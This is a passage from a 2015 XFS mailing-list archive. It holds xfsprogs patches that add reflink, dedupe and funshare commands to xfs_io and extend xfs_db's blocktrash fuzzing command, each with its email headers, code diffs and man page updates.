4 && optind != argc - 1) + return command_usage(&reflink_cmd); + infile = argv[optind]; + optind++; + if (optind == argc) + goto clone_all; + soffset = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (soffset < 0) { + printf(_("non-numeric src offset argument -- %s\n"), argv[optind]); + return 0; + } + optind++; + doffset = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (doffset < 0) { + printf(_("non-numeric dest offset argument -- %s\n"), argv[optind]); + return 0; + } + optind++; + count = cvtnum(fsblocksize, fssectsize, argv[optind]); + if (count < 1) { + printf(_("non-positive length argument -- %s\n"), argv[optind]); + return 0; + } + +clone_all: + fd = openfile(infile, NULL, IO_READONLY, 0); + if (fd < 0) + return 0; + + gettimeofday(&t1, NULL); + total = reflink_ioctl(fd, soffset, doffset, count, &ops); + if (ops == 0 || quiet_flag) + goto done; + gettimeofday(&t2, NULL); + t2 = tsub(t2, t1); + + report_io_times(&t2, (long long)doffset, count, total, ops, condensed); +done: + close(fd); + return 0; +} + +void +reflink_init(void) +{ + reflink_cmd.name = "reflink"; + reflink_cmd.altname = "rl"; + reflink_cmd.cfunc = reflink_f; + reflink_cmd.argmin = 4; + reflink_cmd.argmax = -1; + reflink_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + reflink_cmd.args = +_("infile src_off dst_off len"); + reflink_cmd.oneline = + _("reflinks a number of bytes at a specified offset"); + reflink_cmd.help = reflink_help; + + add_command(&reflink_cmd); + + dedupe_cmd.name = "dedupe"; + dedupe_cmd.altname = "dd"; + dedupe_cmd.cfunc = dedupe_f; + dedupe_cmd.argmin = 4; + dedupe_cmd.argmax = -1; + dedupe_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + dedupe_cmd.args = +_("infile src_off dst_off len"); + dedupe_cmd.oneline = + _("dedupes a number of bytes at a specified offset"); + dedupe_cmd.help = dedupe_help; + + add_command(&dedupe_cmd); +} diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 416206f..e0a901f 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -490,6 +490,65 @@ Recursively display all the specified segments starting at the specified .B \-s Display the starting lseek(2) offset. This offset will be a calculated value when both data and holes are displayed together or performing a recusively display. +.RE +.PD +.TP +.TP +.BI "reflink [ \-C ] [ \-q ] src_file [src_offset dst_offset length]" +On filesystems that support the +.B XFS_IOC_CLONE_RANGE +or +.B BTRFS_IOC_CLONE_RANGE +ioctls, map +.I length +bytes at offset +.I dst_offset +in the open file to the same physical blocks that are mapped at offset +.I src_offset +in the file +.I src_file +, replacing any contents that may already have been there. If a program +writes into a reflinked block range of either file, the dirty blocks will be +cloned, written to, and remapped ("copy on write") in the affected file, +leaving the other file(s) unchanged. If src_offset, dst_offset, and length +are omitted, all contents of src_file will be reflinked into the open file. +.RS 1.0i +.PD 0 +.TP 0.4i +.B \-C +Print timing statistics in a condensed format. +.TP +.B \-q +Do not print timing statistics at all. +.RE +.PD +.TP +.TP +.BI "dedupe [ \-C ] [ \-q ] src_file src_offset dst_offset length" +On filesystems that support the +.B XFS_IOC_FILE_EXTENT_SAME +or +.B BTRFS_IOC_FILE_EXTENT_SAME +ioctls, map +.I length +bytes at offset +.I dst_offset +in the open file to the same physical blocks that are mapped at offset +.I src_offset +in the file +.I src_file +, but only if the contents of both ranges are identical. This is known as +block-based deduplication. If a program writes into a reflinked block range of +either file, the dirty blocks will be cloned, written to, and remapped ("copy +on write") in the affected file, leaving the other file(s) unchanged. +.RS 1.0i +.PD 0 +.TP 0.4i +.B \-C +Print timing statistics in a condensed format. +.TP +.B \-q +Do not print timing statistics at all. .TP .SH MEMORY MAPPED I/O COMMANDS From darrick.wong@oracle.com Wed Oct 7 00:05:44 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CFCA229E59 for ; Wed, 7 Oct 2015 00:05:44 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C15088F8035 for ; Tue, 6 Oct 2015 22:05:44 -0700 (PDT) X-ASG-Debug-ID: 1444194342-04cb6c57850d870001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id PAXFGPOm9mNBWHdb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:05:42 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9755fuI018878 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:05:41 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9755fBT025113 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:05:41 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9755fRb009396; Wed, 7 Oct 2015 05:05:41 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:05:40 -0700 Subject: [PATCH 04/51] xfs_io: unshare blocks via fallocate From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 04/51] xfs_io: unshare blocks via fallocate To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:05:39 -0700 Message-ID: <20151007050539.1504.84390.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194342 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0713, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 0.50 BSF_SC0_MV0713 Custom rule MV0713 Try to unshare copy-on-write blocks via fallocate. Signed-off-by: Darrick J. Wong --- io/prealloc.c | 41 +++++++++++++++++++++++++++++++++++++++-- man/man8/xfs_io.8 | 5 +++++ 2 files changed, 44 insertions(+), 2 deletions(-) diff --git a/io/prealloc.c b/io/prealloc.c index 713ea7b..5b77768 100644 --- a/io/prealloc.c +++ b/io/prealloc.c @@ -40,6 +40,10 @@ #define FALLOC_FL_INSERT_RANGE 0x20 #endif +#ifndef FALLOC_FL_UNSHARE_RANGE +#define FALLOC_FL_UNSHARE_RANGE 0x40 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -173,7 +177,7 @@ fallocate_f( int mode = 0; int c; - while ((c = getopt(argc, argv, "cikp")) != EOF) { + while ((c = getopt(argc, argv, "cikpu")) != EOF) { switch (c) { case 'c': mode = FALLOC_FL_COLLAPSE_RANGE; @@ -187,6 +191,9 @@ fallocate_f( case 'p': mode = FALLOC_FL_PUNCH_HOLE; break; + case 'u': + mode = FALLOC_FL_UNSHARE_RANGE; + break; default: command_usage(&falloc_cmd); } @@ -286,6 +293,26 @@ fzero_f( } return 0; } + +static int +funshare_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_UNSHARE_RANGE; + int index = 1; + + if (!offset_length(argv[index], argv[index + 1], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} #endif /* HAVE_FALLOCATE */ void @@ -346,7 +373,7 @@ prealloc_init(void) falloc_cmd.argmin = 2; falloc_cmd.argmax = -1; falloc_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; - falloc_cmd.args = _("[-c] [-k] [-p] off len"); + falloc_cmd.args = _("[-c] [-k] [-p] [-u] off len"); falloc_cmd.oneline = _("allocates space associated with part of a file via fallocate"); add_command(&falloc_cmd); @@ -390,5 +417,15 @@ prealloc_init(void) fzero_cmd.oneline = _("zeroes space and eliminates holes by preallocating"); add_command(&fzero_cmd); + + fzero_cmd.name = "funshare"; + fzero_cmd.cfunc = funshare_f; + fzero_cmd.argmin = 2; + fzero_cmd.argmax = 2; + fzero_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fzero_cmd.args = _("off len"); + fzero_cmd.oneline = + _("unshares shared blocks within the range"); + add_command(&fzero_cmd); #endif /* HAVE_FALLOCATE */ } diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index e0a901f..d66dfbf 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -415,6 +415,11 @@ the FALLOC_FL_PUNCH_HOLE flag as described in the .BR fallocate (2) manual page. .TP +.BI funshare " offset length" +Call fallocate with FALLOC_FL_UNSHARE_RANGE flag as described in the +.BR fallocate (2) +manual page to unshare all shared blocks within the range. +.TP .BI fzero " offset length" Call fallocate with FALLOC_FL_ZERO_RANGE flag as described in the .BR fallocate (2) From darrick.wong@oracle.com Wed Oct 7 00:05:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0976129E51 for ; Wed, 7 Oct 2015 00:05:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9A4AEAC00A for ; Tue, 6 Oct 2015 22:05:50 -0700 (PDT) X-ASG-Debug-ID: 1444194349-04bdf020dd0e860001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id iLSHM1eyqHGhaBGN (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:05:49 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9755mcS014438 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:05:48 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9755lOG031771 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:05:47 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9755lKL009437; Wed, 7 Oct 2015 05:05:47 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:05:47 -0700 Subject: [PATCH 05/51] xfs_db: enable blocktrash for checksummed filesystems From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 05/51] xfs_db: enable blocktrash for checksummed filesystems To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:05:46 -0700 Message-ID: <20151007050546.1504.55364.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194349 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Disable the write verifiers when we're trashing a block. With this in place, create a xfs fuzzer script that formats, populates, corrupts, tries to use, repairs, and tries again to use a crash test xfs image. Hopefully this will shake out some v5 filesystem bugs. v2: Drop xfsfuzz, don't assume every block is an AGF when blocktrashing. Don't trash log blocks by default, because that skews the blocktrash heavily towards damaging only log blocks. v3: Fix changelog issues, allow trashing of log blocks and symlinks, and require the caller to explicitly ask for trashing of log blocks and super blocks because they seem to have been left out. Allowing log blocks by default skews the trashing heavily in favor of (probably unused) log blocks, which doesn't help us with fuzzing. Furthermore, trashing the superblock results in a time consuming sector by sector superblock hunt. Signed-off-by: Darrick J. Wong --- db/check.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/db/check.c b/db/check.c index d28199d..8f3b5b6 100644 --- a/db/check.c +++ b/db/check.c @@ -944,6 +944,7 @@ blocktrash_b( int mask; int newbit; int offset; + const struct xfs_buf_ops *stashed_ops; static char *modestr[] = { N_("zeroed"), N_("set"), N_("flipped"), N_("randomized") }; @@ -952,8 +953,10 @@ blocktrash_b( offset = (int)(random() % (int)(mp->m_sb.sb_blocksize * NBBY)); newbit = 0; push_cur(); - set_cur(&typtab[DBM_UNKNOWN], + set_cur(NULL, XFS_AGB_TO_DADDR(mp, agno, agbno), blkbb, DB_RING_IGN, NULL); + stashed_ops = iocur_top->bp->b_ops; + iocur_top->bp->b_ops = NULL; if ((buf = iocur_top->data) == NULL) { dbprintf(_("can't read block %u/%u for trashing\n"), agno, agbno); pop_cur(); @@ -984,6 +987,7 @@ blocktrash_b( buf[byte] &= ~mask; } write_cur(); + iocur_top->bp->b_ops = stashed_ops; pop_cur(); printf(_("blocktrash: %u/%u %s block %d bit%s starting %d:%d %s\n"), agno, agbno, typename[type], len, len == 1 ? "" : "s", @@ -1040,9 +1044,11 @@ blocktrash_f( (1 << DBM_BTINO) | (1 << DBM_DIR) | (1 << DBM_INODE) | + (1 << DBM_LOG) | (1 << DBM_QUOTA) | (1 << DBM_RTBITMAP) | (1 << DBM_RTSUM) | + (1 << DBM_SYMLINK) | (1 << DBM_SB); while ((c = getopt(argc, argv, "0123n:s:t:x:y:")) != EOF) { switch (c) { @@ -1106,7 +1112,7 @@ blocktrash_f( return 0; } if (tmask == 0) - tmask = goodmask; + tmask = goodmask & ~((1 << DBM_LOG) | (1 << DBM_SB)); lentab = xmalloc(sizeof(ltab_t)); lentab->min = lentab->max = min; lentablen = 1; From darrick.wong@oracle.com Wed Oct 7 00:05:57 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 362C97F59 for ; Wed, 7 Oct 2015 00:05:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 27D6F8F8035 for ; Tue, 6 Oct 2015 22:05:57 -0700 (PDT) X-ASG-Debug-ID: 1444194354-04cb6c57850d880001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id GnUUjYx9J4xEhO5z (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:05:54 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9755sc4014480 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:05:54 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9755rPt025596 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:05:54 GMT Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9755rrg006677; Wed, 7 Oct 2015 05:05:53 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:05:53 -0700 Subject: [PATCH 06/51] xfs_db: trash the block at the top of the cursor stack From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 06/51] xfs_db: trash the block at the top of the cursor stack To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:05:52 -0700 Message-ID: <20151007050552.1504.25347.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194354 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Add a new -z option to blocktrash to make it trash the block that's at the top of the stack, so that we can perform targeted fuzzing. While we're at it, prevent fuzzing off the end of the buffer and add a -o parameter so that we can specify an offset to start fuzzing from. Signed-off-by: Darrick J. Wong --- db/check.c | 86 +++++++++++++++++++++++++++++++++++++++++------------ man/man8/xfs_db.8 | 15 +++++++++ 2 files changed, 80 insertions(+), 21 deletions(-) diff --git a/db/check.c b/db/check.c index 8f3b5b6..5d5165d 100644 --- a/db/check.c +++ b/db/check.c @@ -930,8 +930,7 @@ typedef struct ltab { static void blocktrash_b( - xfs_agnumber_t agno, - xfs_agblock_t agbno, + int bit_offset, dbm_t type, ltab_t *ltabp, int mode) @@ -943,27 +942,40 @@ blocktrash_b( int len; int mask; int newbit; - int offset; const struct xfs_buf_ops *stashed_ops; static char *modestr[] = { N_("zeroed"), N_("set"), N_("flipped"), N_("randomized") }; + xfs_agnumber_t agno; + xfs_agblock_t agbno; + agno = XFS_FSB_TO_AGNO(mp, XFS_DADDR_TO_FSB(mp, iocur_top->bb)); + agbno = XFS_FSB_TO_AGBNO(mp, XFS_DADDR_TO_FSB(mp, iocur_top->bb)); + if (iocur_top->len == 0) { + dbprintf(_("zero-length block %u/%u buffer to trash??\n"), + agno, agbno); + return; + } len = (int)((random() % (ltabp->max - ltabp->min + 1)) + ltabp->min); - offset = (int)(random() % (int)(mp->m_sb.sb_blocksize * NBBY)); + /* + * bit_offset >= 0: start fuzzing at this exact bit_offset. + * bit_offset < 0: pick an offset at least as high at -(bit_offset + 1). + */ + if (bit_offset < 0) { + bit_offset = -(bit_offset + 1); + bit_offset += (int)(random() % (int)((iocur_top->len - bit_offset) * NBBY)); + } + if (bit_offset + len >= iocur_top->len * NBBY) + len = (iocur_top->len * NBBY) - bit_offset; newbit = 0; - push_cur(); - set_cur(NULL, - XFS_AGB_TO_DADDR(mp, agno, agbno), blkbb, DB_RING_IGN, NULL); stashed_ops = iocur_top->bp->b_ops; iocur_top->bp->b_ops = NULL; if ((buf = iocur_top->data) == NULL) { dbprintf(_("can't read block %u/%u for trashing\n"), agno, agbno); - pop_cur(); return; } for (bitno = 0; bitno < len; bitno++) { - bit = (offset + bitno) % (mp->m_sb.sb_blocksize * NBBY); + bit = (bit_offset + bitno) % (mp->m_sb.sb_blocksize * NBBY); byte = bit / NBBY; bit %= NBBY; mask = 1 << bit; @@ -988,10 +1000,9 @@ blocktrash_b( } write_cur(); iocur_top->bp->b_ops = stashed_ops; - pop_cur(); printf(_("blocktrash: %u/%u %s block %d bit%s starting %d:%d %s\n"), agno, agbno, typename[type], len, len == 1 ? "" : "s", - offset / NBBY, offset % NBBY, modestr[mode]); + bit_offset / NBBY, bit_offset % NBBY, modestr[mode]); } int @@ -1019,11 +1030,9 @@ blocktrash_f( uint seed; int sopt; int tmask; + bool this_block = false; + int bit_offset = -1; - if (!dbmap) { - dbprintf(_("must run blockget first\n")); - return 0; - } optind = 0; count = 1; min = 1; @@ -1050,7 +1059,7 @@ blocktrash_f( (1 << DBM_RTSUM) | (1 << DBM_SYMLINK) | (1 << DBM_SB); - while ((c = getopt(argc, argv, "0123n:s:t:x:y:")) != EOF) { + while ((c = getopt(argc, argv, "0123n:o:s:t:x:y:z")) != EOF) { switch (c) { case '0': mode = 0; @@ -1071,6 +1080,22 @@ blocktrash_f( return 0; } break; + case 'o': { + int relative = 0; + + if (optarg[0] == '+') { + optarg++; + relative = 1; + } + bit_offset = (int)strtol(optarg, &p, 0); + if (*p != '\0' || bit_offset < 0) { + dbprintf(_("bad blocktrash offset %s\n"), optarg); + return 0; + } + if (relative) + bit_offset = -bit_offset - 1; + break; + } case 's': seed = (uint)strtoul(optarg, &p, 0); sopt = 1; @@ -1102,11 +1127,22 @@ blocktrash_f( return 0; } break; + case 'z': + this_block = true; + break; default: dbprintf(_("bad option for blocktrash command\n")); return 0; } } + if (!this_block && !dbmap) { + dbprintf(_("must run blockget first\n")); + return 0; + } + if (this_block && iocur_sp == 0) { + dbprintf(_("nothing on stack\n")); + return 0; + } if (min > max) { dbprintf(_("bad min/max for blocktrash command\n")); return 0; @@ -1125,6 +1161,14 @@ blocktrash_f( } else lentab[lentablen - 1].max = i; } + if (!sopt) + dbprintf(_("blocktrash: seed %u\n"), seed); + srandom(seed); + if (this_block) { + blocktrash_b(bit_offset, DBM_UNKNOWN, + &lentab[random() % lentablen], mode); + goto out; + } for (blocks = 0, agno = 0; agno < mp->m_sb.sb_agcount; agno++) { for (agbno = 0, p = dbmap[agno]; agbno < mp->m_sb.sb_agblocks; @@ -1137,9 +1181,6 @@ blocktrash_f( dbprintf(_("blocktrash: no matching blocks\n")); goto out; } - if (!sopt) - dbprintf(_("blocktrash: seed %u\n"), seed); - srandom(seed); for (i = 0; i < count; i++) { randb = (xfs_rfsblock_t)((((__int64_t)random() << 32) | random()) % blocks); @@ -1153,8 +1194,13 @@ blocktrash_f( continue; if (bi++ < randb) continue; - blocktrash_b(agno, agbno, (dbm_t)*p, + push_cur(); + set_cur(NULL, + XFS_AGB_TO_DADDR(mp, agno, agbno), + blkbb, DB_RING_IGN, NULL); + blocktrash_b(bit_offset, (dbm_t)*p, &lentab[random() % lentablen], mode); + pop_cur(); done = 1; break; } diff --git a/man/man8/xfs_db.8 b/man/man8/xfs_db.8 index df54bb7..681efc4 100644 --- a/man/man8/xfs_db.8 +++ b/man/man8/xfs_db.8 @@ -232,7 +232,7 @@ enables verbose output. Messages will be printed for every block and inode processed. .RE .TP -.BI "blocktrash [\-n " count "] [\-x " min "] [\-y " max "] [\-s " seed "] [\-0|1|2|3] [\-t " type "] ..." +.BI "blocktrash [-z] [\-o " offset "] [\-n " count "] [\-x " min "] [\-y " max "] [\-s " seed "] [\-0|1|2|3] [\-t " type "] ..." Trash randomly selected filesystem metadata blocks. Trashing occurs to randomly selected bits in the chosen blocks. This command is available only in debugging versions of @@ -259,6 +259,13 @@ supplies the .I count of block-trashings to perform (default 1). .TP +.B \-o +supplies the bit +.I offset +at which to start trashing the block. If the value is preceded by a '+', the +trashing will start at a randomly chosen offset that is larger than the value +supplied. The default is to randomly choose an offset anywhere in the block. +.TP .B \-s supplies a .I seed @@ -282,6 +289,12 @@ size of bit range to be trashed. The default value is 1. sets the .I maximum size of bit range to be trashed. The default value is 1024. +.TP +.B \-z +trashes the block at the top of the stack. It is not necessary to +run +.BI blockget +if this option is supplied. .RE .TP .BI "blockuse [\-n] [\-c " count ] From darrick.wong@oracle.com Wed Oct 7 00:06:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8FFFF29E05 for ; Wed, 7 Oct 2015 00:06:04 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7F0DC304039 for ; Tue, 6 Oct 2015 22:06:04 -0700 (PDT) X-ASG-Debug-ID: 1444194361-04cbb03f130d970001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id hTCVOIUMN7Nw2mLW (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:06:02 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t97560tn014611 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:01 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t975605g032465 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:00 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t97560Q0009504; Wed, 7 Oct 2015 05:06:00 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:05:59 -0700 Subject: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:05:58 -0700 Message-ID: <20151007050558.1504.97525.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194362 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com 